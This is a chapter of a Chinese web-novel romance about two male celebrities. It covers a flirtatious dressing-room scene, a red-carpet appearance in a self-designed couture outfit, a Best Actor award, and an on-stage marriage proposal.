他吻得很深,空气和呼吸都是奢侈的东西,整个房间里只剩下黏腻的水声,季沨被迫仰起头,靠在门板上平复呼吸,陆屿洲贴在他的耳边,呼吸是同样的灼热,手指却沿着季沨的腰身钻上去:“季沨,我也很想你。” 吻得这样久,两个人都有些情动,季沨看了眼对面钟上的时间:“除去换衣服做妆造入场次序,出场之前,我们应该还有二十分钟的时间。” 他眉眼一挑:“你够?” 按照两个之前的水平,颁奖典礼结束了都未必能够,陆屿洲也知道这对季沨很重要,手指沿着脊骨轻轻抚摸:“那给我亲一会儿。” 季沨眉眼一弯,踮着脚主动吻了上去。 陆屿洲一碰,他便自觉松开齿关,舌头缠住陆屿洲的,像两条在腥咸的海里交尾的鱼,虽然已经在一起这么久,陆屿洲还是会因为季沨偶然的主动而心跳加速,漂亮的嘴唇被他吻得发红,陆屿洲却又沿着喉结一路往下,牙齿刚要咬下去,季沨轻轻地推了一下:“晚上要颁奖。” 陆屿洲箭在弦上,声音发哑:“那怎么了?我们都官宣过了。” 现在是持证上岗的CP。 “那也没有带着咬痕起身的啊!”季沨亲了下他的眼睛以示安抚,“好了,”他附在陆屿洲耳边,轻声道,“不然今晚……” 不知道季沨说了什么,陆屿洲胸膛急剧起伏了几下,居然还真的乖乖起了身。 “快去拿衣服。”季沨推推他,“这可是你自己说这次服装你负责的,再不换莫可他们真要着急了。” “好。” 陆屿洲这才走到衣柜边,却又转过头,忍不住道:“你就这么信任我啊季老师,万一我给你拿了个拖鞋T恤怎么办?” “那就穿着去呗。”季沨微一耸肩,“你知道人为什么要努力往前走吗?” “为什么?” “因为越往前才会越自由,宋骁上次拿奖穿着老头衫上去的,有人说过他吗?”季沨从来不把自己的名气当回事,直到这个时候才道,“我现在的热度,足够我们想做什么就做什么。” “嗯。”陆屿洲望着他的眼睛,“所以季老师这么努力,是为了有一天领奖的时候跟男朋友穿情侣装?” 他的眸子太亮,季沨忍不住微微移开了视线:“只是提名,哪来的领奖。” 陆屿洲一笑打开衣柜:“放心,不管是什么,以后你每个红毯,我都负责。” 柜门向右滑去,顶灯打开,季沨循声转头,一瞬间,居然被那层叠的珠光和宝石晃得有些睁不开眼睛。 他不懂设计,但仅凭这么多年对高定的了解,陆屿洲准备的这件衣服,成品和工期都不会低。 “你做了多久?” “如果是设计的话,”陆屿洲想了想,“大概是从回国见到你的那一刻开始吧,到上周……上面的钉珠刚刚完成。” 原来那所谓的收尾是给它收尾。 “你……” 季沨想了想,喉咙干哑,竟然有些讲不出话,他知道陆屿洲在做自己的品牌,但本以为只是系列里出一件,没想到……这起码得有压轴的规格了。 “这衣服,你不放在秀场里给模特,放在这种典礼上?” “它只有你一个模特。” 陆屿洲将衣服取下来:“季沨,你本来就是它的缪斯,它为你而诞生,也只会属于你。” “可是……” “季老师,”陆屿洲抬手帮他解领带,“我新品牌没什么热度,就当是借你的名气站站台,倒是我宣发的时候就说,这可是顶流影帝季沨穿过的。” “都说了只是提名你瞎贫什么,你知道网上说你这叫什么吗?” “我知道——毒奶?”陆屿洲在粉丝群里混了这么久,其他的没学会,这种网梗倒是掌握了不少。 季沨讶异地一挑眉,身上的衬衫便被陆屿洲完全脱了下来,露出劲瘦的腰身和白玉般的胸膛。 陆屿洲眸色幽深地扫了一眼:“季沨,你真是我见过最完美的模特。” 手指滑落到腰窝,季沨眸色稍深,提醒般地点了点他的手腕:“控制力?” 陆屿洲咬了咬牙,想着季沨刚刚的答应他的事,还是决定忍一忍,皮带和裤子一起褪下,长腿柔韧。 陆屿洲几乎是偏着头忍着呼吸替季沨套上里衣,看他忍得太难受,季沨开口转移了下注意力:“你之前做模特的时候……也是这么跟人换衣服吗?” 陆屿洲这才转过眼睛:“季老师吃醋了?” “我吃什么醋,”季沨说,“工作需要嘛,我之前拍古装剧的时候一般也是工作人员帮忙换衣服。” 谁知陆屿洲一瞬间睁大眼睛:“怎么换,就这么摸着你换吗?他们不会还要抱着你的腰吧?” “不行,我吃醋。以后这种事情只能我来!” “那也不可能我每次拍戏都得你来吧,我现在剧组聚餐都要十点前回家,谁不知道我家里有个黏人的男朋友。” “那怎么了,不是刚好帮你推了不喜欢的局。” “你放心,”季沨说,“刘庚现在还在牢里待着呢,现在没人敢强行让我去什么不喜欢的局。” “关刘庚什么事,”陆屿洲忽然回过神,“不对,你不要老是转移话题,你都还没有答应我,季沨……” 季沨于是拽着他的领带招招手:“过来。” 陆屿洲一俯身,季沨便垂下眼,在陆屿洲锁骨往下的位置咬了一口。 咬痕很明显,几乎是穿上衣服可能看不出来,但是只要领口再稍稍往下一点就显露无遗,季沨咬完,舌尖却又朝着那点红痕舔了舔,动作色.情又妩媚:“我也会吃醋,洲洲,以后不许给别人这样穿衣服。” 随后,才用指腹一拨,替他扣上了纽扣。 * 【季沨季沨季沨!!!!风风放心飞!四季永相随!!!】 【陆屿洲陆屿洲陆屿洲!!!宇宙公转!!! 爱你永远!!!】 两家的弹幕还没上去,直播现场就一阵汹涌地—— 【啊啊啊啊啊啊啊啊啊啊啊老婆老公!!!】 【啊啊啊啊啊啊记录!!!记录!!!记录!!!记录!!!】 【各部门就位各部门就位各部门就位!】 【截图组准备!】 【扣糖组准备!】 【唇语组准备!】 【捉奸组准备!】 【Action!!!!】 前面手挽手的男星和女星走过,镜头一转—— 本次是金钟奖第一次跟年轻一代接轨,并没有采用当初中规中矩的红毯,整个会场中世纪的古堡风格,季沨和陆屿洲从高大的艾奥尼克柱下现身,十指紧扣。 有风从他们的身后掀起,季沨面对镜头,轻轻地招了下手。 “啊啊啊啊啊啊啊啊啊啊啊!!!” 现场瞬间炸了,摄像围着季沨推进,当季沨本次没有发布任何一家高定合作消息的时候,众人已经在纷纷猜想,但是当真正看到实物。 此刻的内心便只有两个字—— 惊艳。 衬衫很长,一直垂落到脚踝,风格很像是古时的立领长衫,可却没有采用传统的薄纱做出轻盈出尘的效果,下摆的裙裾部分用的是绝不可能用在中式风格里的皮革。 这种材质硬挺却厚重,可是设计师十分大胆且出色地,将整块皮料拿剪刀层层剪开,用如同碎屑般漂浮的感觉营造出属于中式的轻盈,可原本材料的厚重又给了它应有成熟魅力。 真正用了轻纱的是上本身,交错的立领勾勒出形状漂亮的锁骨,薄纱的材质让整个胸膛都若隐若现,却沿着腰身一起被西装覆盖住,这种欲说还休的设计完全是中式美学里的含蓄与留白,可是用料却是如此大胆妩媚,领口处的竹叶纹被交错的宝石别针所取代,灯光下闪着熠熠的光。 低调又张扬,清纯又魅惑,浪荡又肆意,让人讶异并不仅仅是衣服本身,而是它和季沨这种浑然天成的相符,仿佛每一刀剪裁每一寸布料都是为这个人而生,好似季沨……就是这样这种人。 那是难以用言语形容的惊艳。 【卧槽卧槽,我人傻了!!!】 【啊啊啊啊啊啊这是什么牌子啊啊啊!!卧槽第一次见到中式和现代艺术融合这么好的,太会做了太会做了!!】 【那个把皮革剪成流苏的主意到底是谁想出来的啊啊卧槽卧槽!!真的太绝了啊啊啊啊!!!】 【怪不得不愿意接受各大品牌的高定,原来是自己有私人设计!这个设计师到底是谁啊啊啊啊啊好想知道!】 【你们看陆屿洲的那件,卧槽这跟季沨看起来好像是情侣装吧!】 摄像似乎是知道惊讶要给够人们足够的反应时间,拍完了陆屿洲之后才转向陆屿洲。 陆屿洲穿了一整套黑色连体西装,廓形和下摆的百褶款式很像是明代的飞鱼服,但是原本的花纹却用了亚克力和塑料玻璃拧成的结,原本肃穆的气氛瞬间变得活泼轻松不少。 腰部的蹀躞被他完全换成了皮革穿成的玉带,细看来似乎和季沨下方的流苏是一种材质,腰身这样一束,更显得宽肩窄腰,身材比例极为出众。 两个人走在一起,像是春日出游的富贵公子和将军,又或者是风流的上校和严厉的教官,光是站着就充满了张力和CP感。 二人微一转身,摄像立刻追了上来,工作人员递了笔去签名,两人不约而同地选了一个位置,季沨刚一签完,陆屿洲便接过笔,在两人的名字外面画了个大大的爱心,如同结界一样隔绝一众人名。 “陆老师,季老师!”摄像眼看分不开牵着的手,只好道,“不然二位一起摆一个姿势呢?” “你们季老师不让我弄坏他的妆造。” 台下一众起哄声,陆屿洲无奈地笑了下:“那好吧,这可是他们说的。” 他微一俯身,在那个硕大的爱心面前在季沨的额头落下一吻。 座位自然是排在一起的,两人直到坐下都还十指紧扣,圈里又不是没有结婚的,这么如胶似漆地还是第一次见,季沨抽了一下没抽动,下巴抬抬示意前面:“有摄像。” 陆屿洲一点头,握着季沨的手将它们一起塞进自己的西服口袋里。 只要镜头拍不到就不作数——这还是季沨亲自教他的。 果然是教会徒弟饿死师傅,季沨的手指被他放在口袋里,当成玩具一句把玩着,肩膀却还要往季沨那里靠:“你离我近一点。” “怎么了?” “上次我转头给你挑了会儿礼物,网上就有人说我连身体都在抗拒跟你待在一起,我们感情肯定破裂了。” “这你都信?”季沨微一挑眉,“你就算是压我身上都有人说你是忍辱负重的。” “那我不管,我都跟你的粉丝保证过了。” 季沨微一挑眉:“你跟谁?” 坐在第二排的江沼忍不住捂住了耳朵。 主办方或许是觉得他当初帮季沨说了两句话就是关系好,其实大可不必,他一点也不想听这两个gay腻腻歪歪地谈恋爱。 还有,江沼实在忍不住开口——“你要不是不想他牵手你自己抽回来你不就行了吗?你要是不想靠过去他还能众目睽睽强迫你啊,那手不是长在你自己身上吗,你他妈当初玩散打的时候……” 江沼的话还没说完,就被旁边的初禾捂着嘴给带了回来:“你闭嘴吧。” 初禾当着镜头笑嘻嘻,出口的却是:“你这种人真是活该单身一辈子了。” 陆屿洲能这么做这么放肆,那摆明了是季沨纵容的。 甚至季沨本人也乐在其中。 当初网上都说陆屿洲舔狗的时候初禾就知道了,那种消息轰炸,一般人如果真的不想回,直接就拉黑删除了,事事有回应还能事事有配合的,除了另一方故意纵着乐见其成,实在想不出有别的理由。 看起来似乎是陆屿洲在黏季沨,但其实他们两个……彼此彼此。 果不其然,陆屿洲提完那个要求,季沨一边笑他幼稚,一边却悄悄将肩膀靠了过去,从后面看几乎亲密无间地贴在一起。 镜头刚一转过去,季沨便趁着死角的空隙,仰头朝着陆屿洲侧脸上亲了一下。 陆屿洲讶异地回过头,却见季沨笑意盈盈:“行了,这下素材够了吧?” 他说着,又捏了捏陆屿洲的耳朵:“不对啊,以前在人前亲你的时候还会脸红耳朵红,现在怎么没反应了?” “没有吗?”陆屿洲跟着季沨耳濡目染了那么久,最近水平大有境界,“季老师有没有听过一句话?” “什么?” “反应不会消失,它只会转移。” 扣在一起的手指向下握了握:“不然你换个地方看看呢?” 掌下的触感分明,陆屿洲本以为终于轮到季沨害羞,没想到这人还真的上手碰了一下,虽然指尖一松,调笑道:“呀,这下好像耳朵红了。” “季沨!!!” 季沨哈哈笑了起来,脑袋倒在陆屿洲的肩膀上,从任何角度看都是很般配的一对。 没人知道从前一场典礼下来能有人欠他五百万的陆屿洲现在哪来那么多话,两人直到典礼开始还在相互依偎,以至于叫到名字的时候季沨压根没反应过来。 还是身后的江沼踹了脚他的椅子:“叫你了叫你了!快点上去领奖!!!” 季沨这才站起身,听到台上的宋骁道:“本届金钟奖最佳男演员奖的获得者是,《帝台春》——季沨!” “恭喜!!!” 场内一片热烈的掌声,季沨刚要迈步,膝盖碰到陆屿洲的长腿,那人却突然伸腿一拦:“等一下。” 陆屿洲跟着起身,五指伸开,一枚项链静静地躺在手心。 银色链条上是漂亮的蓝色宝石,摄像机绕了几个圈却还是只能捕捉到一个模糊的影子,只有季沨一垂眸便能看见——那是一株鸢尾花。 当然不是五年前酒吧里那样简陋的,花瓣用的是剔透明亮的矢车菊蓝宝石,在灯光下熠熠生辉。 陆屿洲抬手为他戴上,指腹扫过他的脖颈: “当时做这件衣服的时候,很奇怪,总觉得这个会很适合你。” 陆屿洲说:“季老师,恭喜。” 季沨望着他的眼睛,何皎皎告知陆屿洲的时候其实已经问过他的意见。 他从来也没有试图苛责或者想象过陆屿洲一定要记得,此刻却忍不住偏过脸:“谢谢。” 季沨垂眸看着那朵和五年前如此相似的花,眼眶发红,又道:“谢谢。” * “季沨是我见过的很优秀,很优秀的演员。”宋骁说,“他的坚定,耐心,毅力,都远超于同龄人。” “也许你们觉得他的星途充满了运气,但是我知道,他今天站在这里,很不容易。” “这个奖对他来说并不是太早,也许更是太迟。” 宋骁望着季沨,想起之前节目结束时,他问过季沨的问题,陆屿洲眼中的季沨,郁容眼中的季沨,哪一个才是真的他呢? 宋骁说自己哪个都不会信,因为人是复杂的,只有一个懂得这一点的人才能够给予角色灵魂,所以他相信季沨也是一样的。 他才赌来自己的爱情的同时,也赌来了自己的前程。 宋骁一生颁过那么奖,此刻却能心服口服地将奖杯递到季沨的手里,说一句:“他是天生的影帝。” 掌声和快门一起响起,汹涌到足以让每一个站在台上的人热血沸腾,唯有季沨波澜不惊笑容依旧,只是视线扫过观众席,朝着台下弯了弯眼睛。 “季老师!”主持人将话筒递给他,“你有什么想要对大家说的吗?” “拿这个奖属实是意料之外,其实来之前还在助理说让他们不要做那么多准备。” 季沨笑了笑:“很感谢当初带我进组一直指导我的杨导,感谢肖导和《帝台春》剧组所有的工作人员。” “感谢在所有在我事业低潮时陪伴我安慰过我的朋友们。” “感谢一直喜欢我,支持我,给了很多温暖的风滚草们,当然,还有喜欢记录的每一个密码本们。” …… 这些都是领奖台上的套话了,但是季沨说得很诚恳,甚至第一次有明星在这样的场合不仅讲到自己的粉丝,连CP粉都提了一遍。这种做法,一旦以后他们遇到情感危机或者分手,几乎是会拿出来鞭尸的存在。 又也许,当事人笃定他们并不会存在这种可能性。 “最后,要感谢我生命中……”季沨说,“最重要的一个人。” 任何一件事加上最字似乎都变得恒久又心动,季沨注视着台下的陆屿洲:“我的男朋友,陆先生。” 他没有再说之前玩乐时用的陆老师,好似这段关系无关职业与生平。 “当然,他同样也是一个优秀的模特,歌手,以及……”季沨顿了顿,才道,“独立设计师。” 陆屿洲的新品还未发布,这个世界上却已经有一个人将他放在了这个位置,并用自己被所有媒体转载的获奖感言为他背书。 “我身上的这件礼服就是出自他之手,里面承载了很多我们的故事。” “在你们看到的看不到的地方,他默默为我做了很多事,他虽然比我小两岁,却比我更加赤诚,更加勇敢。” “我曾经以为我是不会煽情的人,特别是当着这么多人的面,我以为很多事情要表现得轻描淡写才不会让人觉得刻意,我以为两个人足够了解很多话就不用说,但其实,我一直欠了他一句——” “陆屿洲,”季沨漂亮眸子像是湿润的宝石,“我喜欢你。” “从很久以前就……” 嘀—— 季沨的话还没说完,手中的话筒突然被消了音。 “怎么回事?” 众人惊疑不定左顾右盼,台上的主持人却默默举起手:“不好意思季老师,上台之前有人交代过我们,如果您有任何煽情的迹象,直接掐了您的麦。” 季沨握着话筒的手指一顿,听到主持人道:“您刚才介绍男朋友的时候少了一个Title,他不仅是服装设计师,他还是我们整个场地的——总赞助和总策划!” 台下一阵吸气声,陆屿洲从观众席上站起身。 从他迈开脚步的那一刻,台上的阶梯突然开始层层收缩,变成了一整个从他的脚下延伸至季沨的轨道,城堡内的百叶窗打开,周围微风轻动,脚下的T台像是晃动的波纹,光与影的交织,风与浪的起伏,二人身上飘飞的流苏如同伸长的信号,沿着海岸慢慢靠拢。 原来季沨的那件衣服并不是从秀场搬来的压轴款,而是陆屿洲将自己准备好的秀场用作了季沨颁奖的舞台。 这里所有的特效都只会在听到一个名字时开启,这是设计师对他压轴模特的永恒偏爱。 陆屿洲踩着波浪走到季沨的身边,他到达的那一刻,整个场地的风突然停了。 吹起的衣摆跟着落下,台下突然发出一阵剧烈的惊叹。 下方飘飞的流苏居然因此变了颜色,季沨那里是白中带着细密层叠的黑,陆屿洲的却是黑中带着层叠的白。 直到此刻,众人才发现,皮革剪裁并不是这件衣服最令人惊艳的工艺,真正令人瞠目结舌的是,他将塔夫绸的温感变色用了这里。 黑色和白色花纹彼此靠近,彼此交汇,却又彼此影响。 如同他和季沨。 他们相遇是一场偶然,但是最终,怯懦之人学会勇敢,狡诈之人学会赤诚。 他们彼此改变,彼此浸染。 互为猎人与猎手。 “我记得之前在恋综上我跟你说过,”陆屿洲拿过季沨手里的话筒,“你已经走了很多了,所以现在,一步不用靠近。” “我会自己走向你。” 陆屿洲从来都是这样的人,也许笨拙,但是决定之后,说过的每一句话都是一辈子的承诺: “季沨,在遇到你之前,我也从来没有想过,我某一天或许会生出这样的想法。” “我好像从来都没有跟你说过,我是怎么确定自己喜欢男生的。” 陆屿洲望着季沨脖颈上璀璨的蓝色,眸色幽深:“五年前,我去巴黎一个服装展的时候,看到一个男模脖子上戴了一个鸢尾花的choker。” “当时我第一次清醒地在一个男人身上感受到美这件事,很奇妙,我当时不知道是为什么,直到今天看到你戴上它。” “季沨。”陆屿洲轻声开口: “原来我只是从他的身上,看到你的影子。” 原来即便是酒精麻痹意识,大脑清空记忆,那些曾经遇见的,亲吻过的人,还是会琥珀般凝结在他的梦里。 原来他在山庄里走向季沨的那一刻,并不是见色起意,而是命中注定。 原来他当初跟设计师交流时隐约缺少的东西,直到这一刻才得见圆满。 季沨一直从前以为那句一见钟情,说的是在酒会。 却原来,原来他们居然真的是一见钟情。 “很抱歉,晚了五年才回来。” 陆屿洲双膝点地,轻声询问:“季沨,你愿意跟我共度余生吗?” 掌声和欢呼声几乎要冲破穹顶,陆屿洲和季沨在台上接吻,他们相拥在一起,脚下晃动的波浪便跟着停下。 那一刻,风平浪止,季风泊洲。 满世界的礼物的人终于被人记得了生日,遍地租房的人终于有了自己的家,蓬塔和大理的房子同用一个密码。 陆屿洲和季沨吻到深处,又贴着耳垂说了句话。 声音太大,祝福太多,没人发觉他们说了什么。 但只有他们彼此知道,那段话是: “刚刚忘记说了——” “哥哥,你戴这个choker很性感。” “谢谢,你的腰链也不错。” 有人附在耳边,声音温热,是在重重人群里隐藏的悸动暧昧: “今晚可以戴着做吗?”